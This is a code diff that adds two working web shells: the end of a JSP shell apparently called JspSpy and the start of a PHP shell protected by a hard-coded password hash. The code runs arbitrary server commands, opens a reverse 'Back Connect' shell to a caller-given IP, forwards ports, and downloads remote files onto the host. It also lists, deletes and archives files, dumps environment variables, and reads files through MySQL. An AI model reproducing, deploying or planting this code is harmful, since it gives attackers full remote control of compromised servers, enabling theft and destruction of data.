+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class ShellInvoker extends DefaultInvoker{
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String type = request.getParameter("type");
+if (type.equals("command")) {
+ins.get("vs").invoke(request,response,JSession);
+out.println("
        ");
+out.println("
        ");
+String command = request.getParameter("command");
+if (!Util.isEmpty(command)) {
+Process pro = Runtime.getRuntime().exec(command);
+BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
+String s = reader.readLine();
+while (s != null) {
+out.println(Util.htmlEncode(Util.getStr(s)));
+s = reader.readLine();
+}
+reader.close();
+out.println("
        ");
+}
+} else {
+String program = request.getParameter("program");
+if (!Util.isEmpty(program)) {
+Process pro = Runtime.getRuntime().exec(program);
+JSession.setAttribute(MSG,"Program Has Run Success!");
+ins.get("vs").invoke(request,response,JSession);
+}
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class DownInvoker extends DefaultInvoker{
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String path  = request.getParameter("path");
+if (Util.isEmpty(path)) 
+return;
+File f = new File(path);
+if (!f.exists()) 
+return;
+response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(f.getName(),PAGE_CHARSET));
+BufferedInputStream input = new BufferedInputStream(new FileInputStream(f));
+BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream());
+byte[] data = new byte[1024];
+int len = input.read(data);
+while (len != -1) {
+output.write(data,0,len);
+len = input.read(data);
+}
+input.close();
+output.close();
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//VDown
+private static class VdInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String savepath = request.getParameter("savepath");
+String url = request.getParameter("url");
+if (Util.isEmpty(url))
+url = "http://www.forjj.com/";
+if (Util.isEmpty(savepath)) {
+savepath = JSession.getAttribute(CURRENT_DIR).toString();
+}
+if (!Util.isEmpty(JSession.getAttribute("done"))) {
+Util.outMsg(out,"Download Remote File Success!");
+JSession.removeAttribute("done");
+}
+out.println("
        "+
+"
        "+
+"
        Remote File DownLoad »
        "+
+"
        "+
+""+
+"Remote File URL:"+
+"  "+
+"Save Path:"+
+""+
+""+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class DownRemoteInvoker extends DefaultInvoker {
+public boolean doBefore(){return true;}
+public boolean doAfter(){return true;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String downFileUrl = request.getParameter("url");
+String savePath = request.getParameter("savepath");
+if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
+return;
+URL downUrl = new URL(downFileUrl);
+URLConnection conn = downUrl.openConnection();
+BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
+BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(new File(savePath)));
+byte[] data = new byte[1024];
+int len = in.read(data);
+while (len != -1) {
+out.write(data,0,len);
+len = in.read(data);
+}
+in.close();
+out.close();
+JSession.setAttribute("done","d");
+ins.get("vd").invoke(request,response,JSession);
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class IndexInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+ins.get("filelist").invoke(request,response,JSession);
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class MkDirInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String name = request.getParameter("name");
+File f = new File(name);
+if (!f.isAbsolute()) {
+String path = JSession.getAttribute(CURRENT_DIR).toString();
+if (!path.endsWith("/"))
+path += "/";
+path += name;
+f = new File(path);
+}
+f.mkdirs();
+JSession.setAttribute(MSG,"Make Directory Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class MoveInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String src = request.getParameter("src");
+String target  = request.getParameter("to");
+if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
+File file = new File(src);
+if(file.renameTo(new File(target))) {
+JSession.setAttribute(MSG,"Move File Success!");
+} else {
+String msg = "Move File Failed!";
+if (file.isDirectory()) {
+msg += "The Move Will Failed When The Directory Is Not Empty.";
+}
+JSession.setAttribute(MSG,msg);
+}
+response.sendRedirect(SHELL_NAME+"?o=index");
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class RemoteDirInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String dir = request.getParameter("dir");
+File file = new File(dir);
+if (file.exists()) {
+deleteFile(file);
+deleteDir(file);
+}
+
+JSession.setAttribute(MSG,"Remove Directory Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+public void deleteFile(File f) {
+if (f.isFile()) {
+f.delete();
+}else {
+File[] list = f.listFiles();
+for (File ff:list) {
+deleteFile(ff);
+}
+}
+}
+public void deleteDir(File f) {
+File[] list = f.listFiles();
+if (list.length == 0) {
+f.delete();
+} else {
+for (File ff:list) {
+deleteDir(ff);
+}
+deleteDir(f);
+}
+}
+}
+private static class PackBatchInvoker extends DefaultInvoker{
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String files = request.getParameter("files");
+if (Util.isEmpty(files))
+return;
+String saveFileName = request.getParameter("savefilename");
+File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
+if (saveF.exists()) {
+JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+return;
+}
+ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
+String[] arr = files.split(",");
+for (String f:arr) {
+File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f);
+ZipEntry entry = new ZipEntry(pF.getName());
+zout.putNextEntry(entry);
+FileInputStream fInput = new FileInputStream(pF);
+int len = 0;
+byte[] buf = new byte[1024];
+while ((len = fInput.read(buf)) != -1) {
+zout.write(buf, 0, len);
+zout.flush();
+}
+fInput.close();
+}
+zout.close();
+JSession.setAttribute(MSG,"Pack Files Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e;
+}
+}
+}
+private static class PackInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String packedFile = request.getParameter("packedfile");
+if (Util.isEmpty(packedFile))
+return;
+String saveFileName = request.getParameter("savefilename");
+File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
+if (saveF.exists()) {
+JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+return;
+}
+File pF = new File(packedFile);
+ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
+String base = "";
+if (pF.isDirectory()) {
+zipDir(pF,base,zout);
+} else {
+zipFile(pF,base,zout);
+}
+zout.close();
+JSession.setAttribute(MSG,"Pack File Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e;
+}
+}
+public void zipDir(File f,String base,ZipOutputStream zout)  throws Exception {
+if (f.isDirectory()) {
+File[] arr = f.listFiles();
+for (File ff:arr) {
+String tmpBase = base;
+if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
+tmpBase += "/";
+zipDir(ff,tmpBase+f.getName(),zout);
+}
+} else {
+String tmpBase = base;
+if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/"))
+tmpBase += "/";
+zipFile(f,tmpBase,zout);
+}
+}
+public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{
+ZipEntry entry = new ZipEntry(base+f.getName());
+zout.putNextEntry(entry);
+FileInputStream fInput = new FileInputStream(f);
+int len = 0;
+byte[] buf = new byte[1024];
+while ((len = fInput.read(buf)) != -1) {
+zout.write(buf, 0, len);
+zout.flush();
+}
+fInput.close();
+}
+}
+private static class UnPackInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String savepath = request.getParameter("savepath");
+String zipfile = request.getParameter("zipfile");
+if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
+return;
+File save = new File(savepath);
+save.mkdirs();
+ZipFile file = new ZipFile(new File(zipfile));   
+Enumeration e = file.entries();   
+while (e.hasMoreElements()) {   
+ZipEntry en = (ZipEntry) e.nextElement(); 
+String entryPath = en.getName();
+int index = entryPath.lastIndexOf("/");
+if (index != -1)
+entryPath = entryPath.substring(0,index);
+File absEntryFile = new File(save,entryPath);
+if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1)) 
+absEntryFile.mkdirs();
+BufferedOutputStream output = null;
+BufferedInputStream input = null;
+try {
+output = new BufferedOutputStream(   
+new FileOutputStream(new File(save,en.getName())));   
+input = new BufferedInputStream(   
+file.getInputStream(en));   
+byte[] b = new byte[1024];   
+int len = input.read(b);   
+while (len != -1) {   
+output.write(b, 0, len);   
+len = input.read(b);   
+}   
+} catch (Exception ex) {
+} finally {
+try {
+if (output != null)
+output.close();
+if (input != null)
+input.close();
+} catch (Exception ex1) {
+}
+}
+}
+file.close();
+JSession.setAttribute(MSG,"Unzip File Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//VMapPort
+private static class VmpInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+Object localIP = JSession.getAttribute("localIP");
+Object localPort = JSession.getAttribute("localPort");
+Object remoteIP = JSession.getAttribute("remoteIP");
+Object remotePort = JSession.getAttribute("remotePort");
+Object done = JSession.getAttribute("done");
+JSession.removeAttribute("localIP");
+JSession.removeAttribute("localPort");
+JSession.removeAttribute("remoteIP");
+JSession.removeAttribute("remotePort");
+JSession.removeAttribute("done");
+if (Util.isEmpty(localIP))
+localIP = InetAddress.getLocalHost().getHostAddress();
+if (Util.isEmpty(localPort))
+localPort = "3389";
+if (Util.isEmpty(remoteIP))
+remoteIP = "www.forjj.com";
+if (Util.isEmpty(remotePort))
+remotePort = "80";
+if (!Util.isEmpty(done))
+Util.outMsg(out,done.toString());
+out.println("
        "+
+""+
+"  "+
+"  "+
+"    "+
+""+
+"
        PortMap >>
        "+
+"      
        "+
+"      "+
+"      "+
+"        "+
+"        "+
+"        "+
+"        "+
+"        "+
+"      "+
+"      "+
+"        "+
+"    "+
+"	
        Local Ip :"+
+"          "+
+"          Local Port :"+
+"          Remote Ip :"+
+"          Remote Port :"+
+"          

        "+
+"          "+
+"			"+
+"    
        "+
+"    
        "+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//StopMapPort
+private static class SmpInvoker extends DefaultInvoker {
+public boolean doAfter(){return true;}
+public boolean doBefore(){return true;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+Object obj = JSession.getAttribute(PORT_MAP);
+if (obj != null) {
+ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP);
+server.close();
+}
+JSession.setAttribute("done","Stop Success!");
+ins.get("vmp").invoke(request,response,JSession);
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class MapPortInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String localIP = request.getParameter("localIP");
+String localPort = request.getParameter("localPort");
+final String remoteIP = request.getParameter("remoteIP");
+final String remotePort = request.getParameter("remotePort");
+if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
+return;
+Object obj = JSession.getAttribute(PORT_MAP);
+if (obj != null) {
+ServerSocket s = (ServerSocket)obj;
+s.close();
+}
+final ServerSocket server = new ServerSocket();
+server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort)));
+JSession.setAttribute(PORT_MAP,server);
+new Thread(new Runnable(){
+public void run(){
+while (true) {
+Socket soc = null;
+Socket remoteSoc = null;
+DataInputStream remoteIn = null;
+DataOutputStream remoteOut = null;
+DataInputStream localIn = null;
+DataOutputStream localOut = null;
+try{
+soc = server.accept();
+remoteSoc = new Socket();
+remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort)));
+remoteIn = new DataInputStream(remoteSoc.getInputStream());
+remoteOut = new DataOutputStream(remoteSoc.getOutputStream());
+localIn = new DataInputStream(soc.getInputStream());
+localOut = new DataOutputStream(soc.getOutputStream());
+this.readFromLocal(localIn,remoteOut);
+this.readFromRemote(soc,remoteSoc,remoteIn,localOut);
+}catch(Exception ex)
+{								
+break;
+}
+}
+}
+public void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){
+new Thread(new Runnable(){
+public void run(){
+while (true) {
+try{
+byte[] data = new byte[100];
+int len = localIn.read(data);
+while (len != -1) {
+remoteOut.write(data,0,len);
+len = localIn.read(data);
+}
+}catch (Exception e) {
+break;
+}
+}
+}
+}).start();
+}
+public void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){
+new Thread(new Runnable(){
+public void run(){
+while(true) {
+try{
+byte[] data = new byte[100];
+int len = remoteIn.read(data);
+while (len != -1) {
+localOut.write(data,0,len);
+len = remoteIn.read(data);
+}
+}catch (Exception e) {
+try{
+soc.close();
+remoteSoc.close();
+}catch(Exception ex) {
+}
+break;
+}
+}
+}
+}).start();
+}
+}).start();
+JSession.setAttribute("done","Map Port Success!");
+JSession.setAttribute("localIP",localIP);
+JSession.setAttribute("localPort",localPort);
+JSession.setAttribute("remoteIP",remoteIP);
+JSession.setAttribute("remotePort",remotePort);
+response.sendRedirect(SHELL_NAME+"?o=vmp");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//VBackConnect
+private static class VbcInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+Object ip = JSession.getAttribute("ip");
+Object port = JSession.getAttribute("port");
+Object program = JSession.getAttribute("program");
+Object done = JSession.getAttribute("done");
+JSession.removeAttribute("ip");
+JSession.removeAttribute("port");
+JSession.removeAttribute("program");
+JSession.removeAttribute("done");
+if (Util.isEmpty(ip))
+ip = request.getRemoteAddr();
+if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
+port = "4444";
+if (Util.isEmpty(program))
+program = "cmd.exe";
+if (!Util.isEmpty(done))
+Util.outMsg(out,done.toString());
+out.println("
        "+
+""+
+"  "+
+"  "+
+"    "+
+""+
+"
        Back Connect >>
        "+
+"      
        "+
+"      "+
+"      "+
+"        "+
+"        "+
+"      "+
+"      "+
+"        "+
+"    "+
+"	
        Your Ip :"+
+"          "+
+"          Your Port :"+
+"          Program To Back :"+
+"          

        "+
+"          "+
+"    
        "+
+"    
        "+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class BackConnectInvoker extends DefaultInvoker {
+public boolean doAfter(){return false;}
+public boolean doBefore(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String ip = request.getParameter("ip");
+String port = request.getParameter("port");
+String program = request.getParameter("program");
+if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port))
+return;
+Socket socket = new Socket(ip,Integer.parseInt(port));
+Process process = Runtime.getRuntime().exec(program);
+(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
+(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
+JSession.setAttribute("done","Back Connect Success!");
+JSession.setAttribute("ip",ip);
+JSession.setAttribute("port",port);
+JSession.setAttribute("program",program);
+response.sendRedirect(SHELL_NAME+"?o=vbc");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class JspEnvInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println(""+
+"      "+
+"        "+
+"      "+
+"    
        System Properties >>
        "+
+"          
        "+
+"            
        "+
+"            
          ");
+Properties pro = System.getProperties();
+Enumeration names = pro.propertyNames();
+while (names.hasMoreElements()){
+String name = (String)names.nextElement();
+out.println("
        • "+Util.htmlEncode(name)+" : "+Util.htmlEncode(pro.getProperty(name))+"
          • ");
+}
+out.println("
        System Environment >>
          ");
+Map envs = System.getenv();
+Set> entrySet = envs.entrySet();
+for (Map.Entry en:entrySet) {
+out.println("
        • "+Util.htmlEncode(en.getKey())+" : "+Util.htmlEncode(en.getValue())+"
          • ");
+}
+out.println("
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class TopInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("
        "+
+""+
+"	"+
+"		"+
+"	"+
+"	"+
+"		"+
+"
        JspSpy Ver: 2009"+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+")
        Logout | "+
+"			File Manager | "+
+"			DataBase Manager | "+
+"			Execute Command | "+
+"			Shell OnLine | "+
+"			Back Connect | "+
+"			Port Scan | "+
+"			Download Remote File | "+
+"			ClipBoard | "+
+"			Remote Control | "+
+"			Port Map | "+
+"			JSP Env "+
+"	
        ");
+if (JSession.getAttribute(MSG) != null) {
+Util.outMsg(out,JSession.getAttribute(MSG).toString());
+JSession.removeAttribute(MSG);
+} 
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VOnLineShellInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("");
+out.println(""+
+"  "+
+"    "+
+"  "+
+"
        ");
+out.println("
        Shell OnLine »

        ");
+out.println("
        "+
+"			"+
+"				"+
+"				Notice ! If You Are Using IE , You Must Input A Command First After You Start Or You Will Not See The Echo"+
+"			
        "+
+"			
        "+
+"				"+
+"				
        "+
+"					"+
+"					"+
+"					"+
+"					Auto Scroll"+
+"					"+
+"				
        "+
+"			"
+);
+out.println("    
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class OnLineInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String type = request.getParameter("type");
+if (Util.isEmpty(type))
+return;
+if (type.toLowerCase().equals("start")) {
+String exe = request.getParameter("exe");
+if (Util.isEmpty(exe))
+return;
+Process pro = Runtime.getRuntime().exec(exe);
+ByteArrayOutputStream outs = new ByteArrayOutputStream();
+response.setContentLength(100000000);
+response.setContentType("text/html;charset="+Charset.defaultCharset().name());
+OnLineProcess olp = new OnLineProcess(pro);
+JSession.setAttribute(SHELL_ONLINE,olp);
+new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start();
+new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start();
+new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();//閿欒淇℃伅娴併
+Thread.sleep(1000 * 60 * 60 * 24);
+} else if (type.equals("ecmd")) {
+Object o = JSession.getAttribute(SHELL_ONLINE);
+String cmd = request.getParameter("cmd");
+if (Util.isEmpty(cmd))
+return;
+if (o == null)
+return;
+OnLineProcess olp = (OnLineProcess)o;
+olp.setCmd(cmd);
+} else {
+Object o = JSession.getAttribute(SHELL_ONLINE);
+if (o == null)
+return;
+OnLineProcess olp = (OnLineProcess)o;
+olp.stop();
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+
+static{
+ins.put("script",new ScriptInvoker());
+ins.put("before",new BeforeInvoker());
+ins.put("after",new AfterInvoker());
+ins.put("deleteBatch",new DeleteBatchInvoker());
+ins.put("clipboard",new ClipBoardInvoker());
+ins.put("vRemoteControl",new VRemoteControlInvoker());
+ins.put("gc",new GcInvoker());
+ins.put("vPortScan",new VPortScanInvoker());
+ins.put("portScan",new PortScanInvoker());
+ins.put("vConn",new VConnInvoker());
+ins.put("dbc",new DbcInvoker());
+ins.put("executesql",new ExecuteSQLInvoker());
+ins.put("vLogin",new VLoginInvoker());
+ins.put("login",new LoginInvoker());
+ins.put("filelist", new FileListInvoker());
+ins.put("logout",new LogoutInvoker());
+ins.put("upload",new UploadInvoker());
+ins.put("copy",new CopyInvoker());
+ins.put("bottom",new BottomInvoker());
+ins.put("vCreateFile",new VCreateFileInvoker());
+ins.put("vEdit",new VEditInvoker());
+ins.put("createFile",new CreateFileInvoker());
+ins.put("vEditProperty",new VEditPropertyInvoker());
+ins.put("editProperty",new EditPropertyInvoker());
+ins.put("vs",new VsInvoker());
+ins.put("shell",new ShellInvoker());
+ins.put("down",new DownInvoker());
+ins.put("vd",new VdInvoker());
+ins.put("downRemote",new DownRemoteInvoker());
+ins.put("index",new IndexInvoker());
+ins.put("mkdir",new MkDirInvoker());
+ins.put("move",new MoveInvoker());
+ins.put("removedir",new RemoteDirInvoker());
+ins.put("packBatch",new PackBatchInvoker());
+ins.put("pack",new PackInvoker());
+ins.put("unpack",new UnPackInvoker());
+ins.put("vmp",new VmpInvoker());
+ins.put("vbc",new VbcInvoker());
+ins.put("backConnect",new BackConnectInvoker());
+ins.put("jspEnv",new JspEnvInvoker());
+ins.put("smp",new SmpInvoker());
+ins.put("mapPort",new MapPortInvoker());
+ins.put("top",new TopInvoker());
+ins.put("vso",new VOnLineShellInvoker());
+ins.put("online",new OnLineInvoker());
+}
+%>
+<%
+try {
+String o = request.getParameter("o");
+if (!Util.isEmpty(o)) {
+Invoker in = ins.get(o);
+if (in == null) {
+response.sendRedirect(SHELL_NAME+"?o=index");
+} else {
+if (in.doBefore()) {
+String path = request.getParameter("folder");
+if (!Util.isEmpty(path))
+session.setAttribute(CURRENT_DIR,path);
+ins.get("before").invoke(request,response,session);
+ins.get("script").invoke(request,response,session);
+ins.get("top").invoke(request,response,session);
+}
+in.invoke(request,response,session);
+if (!in.doAfter()) {
+return;
+}else{
+ins.get("bottom").invoke(request,response,session);
+ins.get("after").invoke(request,response,session);
+}
+}
+} else {
+response.sendRedirect(SHELL_NAME+"?o=index");
+}					
+} catch (Exception e) {
+ByteArrayOutputStream bout = new ByteArrayOutputStream();
+e.printStackTrace(new PrintStream(bout));
+session.setAttribute(CURRENT_DIR,SHELL_DIR);
+Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replace("\n","
        "),"left");
+bout.close();
+out.flush();
+ins.get("bottom").invoke(request,response,session);
+ins.get("after").invoke(request,response,session);
+}
+%>
\ No newline at end of file
diff --git a/php/2011.php b/php/2011.php
new file mode 100644
index 0000000..7f52eaa
--- /dev/null
+++ b/php/2011.php
@@ -0,0 +1,2144 @@
+ $value) {
+	if (IS_GPC) {
+		$value = s_array($value);
+	}
+	$$key = $value;
+}
+/*===================== 程序配置 =====================*/
+
+//echo encode_pass('angel');exit;
+//angel = ec38fe2a8497e0a8d6d349b3533038cb
+// 如果需要密码验证,请修改登陆密码,留空为不需要验证
+$pass  = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel
+
+//如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
+// cookie 前缀
+$cookiepre = '';
+// cookie 作用域
+$cookiedomain = '';
+// cookie 作用路径
+$cookiepath = '/';
+// cookie 有效期
+$cookielife = 86400;
+
+//程序搜索可写文件的类型
+!$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp';
+/*===================== 配置结束 =====================*/
+
+$charsetdb = array('','armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','euc-jp','euc-kr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8');
+if ($charset == 'utf8') {
+	header("content-Type: text/html; charset=utf-8");
+} elseif ($charset == 'big5') {
+	header("content-Type: text/html; charset=big5");
+} elseif ($charset == 'gbk') {
+	header("content-Type: text/html; charset=gbk");
+} elseif ($charset == 'latin1') {
+	header("content-Type: text/html; charset=iso-8859-2");
+} elseif ($charset == 'euc-kr') {
+	header("content-Type: text/html; charset=euc-kr");
+} elseif ($charset == 'euc-jp') {
+	header("content-Type: text/html; charset=euc-jp");
+}
+
+$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
+$timestamp = time();
+
+/*===================== 身份验证 =====================*/
+if ($action == "logout") {
+	scookie('loginpass', '', -86400 * 365);
+	@header('Location: '.$self);
+	exit;
+}
+if($pass) {
+	if ($action == 'login') {
+		if ($pass == encode_pass($password)) {
+			scookie('loginpass',encode_pass($password));
+			@header('Location: '.$self);
+			exit;
+		}
+	}
+	if ($_COOKIE['loginpass']) {
+		if ($_COOKIE['loginpass'] != $pass) {
+			loginpage();
+		}
+	} else {
+		loginpage();
+	}
+}
+/*===================== 验证结束 =====================*/
+
+$errmsg = '';
+!$action && $action = 'file';
+
+// 查看PHPINFO
+if ($action == 'phpinfo') {
+	if (IS_PHPINFO) {
+		phpinfo();
+		exit;
+	} else {
+		$errmsg = 'phpinfo() function has non-permissible';
+	}
+}
+
+// 下载文件
+if ($doing == 'downfile' && $thefile) {
+	if (!@file_exists($thefile)) {
+		$errmsg = 'The file you want Downloadable was nonexistent';
+	} else {
+		$fileinfo = pathinfo($thefile);
+		header('Content-type: application/x-'.$fileinfo['extension']);
+		header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
+		header('Content-Length: '.filesize($thefile));
+		@readfile($thefile);
+		exit;
+	}
+}
+
+// 直接下载备份数据库
+if ($doing == 'backupmysql' && !$saveasfile) {
+	if (!$table) {
+		$errmsg ='Please choose the table';
+	} else {
+		$mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
+		$filename = basename($dbname.'.sql');
+		header('Content-type: application/unknown');
+		header('Content-Disposition: attachment; filename='.$filename);
+		foreach($table as $k => $v) {
+			if ($v) {
+				sqldumptable($v);
+			}
+		}
+		mysql_close();
+		exit;
+	}
+}
+
+// 通过MYSQL下载文件
+if($doing=='mysqldown'){
+	if (!$dbname) {
+		$errmsg = 'Please input dbname';
+	} else {
+		$mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
+		if (!file_exists($mysqldlfile)) {
+			$errmsg = 'The file you want Downloadable was nonexistent';
+		} else {
+			$result = q("select load_file('$mysqldlfile');");
+			if(!$result){
+				q("DROP TABLE IF EXISTS tmp_angel;");
+				q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
+				//用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
+				q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
+				$result = q("select content from tmp_angel");
+				q("DROP TABLE tmp_angel");
+			}
+			$row = @mysql_fetch_array($result);
+			if (!$row) {
+				$errmsg = 'Load file failed '.mysql_error();
+			} else {
+				$fileinfo = pathinfo($mysqldlfile);
+				header('Content-type: application/x-'.$fileinfo['extension']);
+				header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
+				header("Accept-Length: ".strlen($row[0]));
+				echo $row[0];
+				exit;
+			}
+		}
+	}
+}
+
+?>
+
+
+
+<?php echo $action.' - '.$_SERVER['HTTP_HOST'];?>
+
+
+
+
+'opform'));
+makehide('action', $action);
+makehide('nowpath', $nowpath);
+makehide('p1', $p1);
+makehide('p2', $p2);
+makehide('p3', $p3);
+makehide('p4', $p4);
+makehide('p5', $p5);
+formfoot();
+
+if(!function_exists('posix_getegid')) {
+	$user = @get_current_user();
+	$uid = @getmyuid();
+	$gid = @getmygid();
+	$group = "?";
+} else {
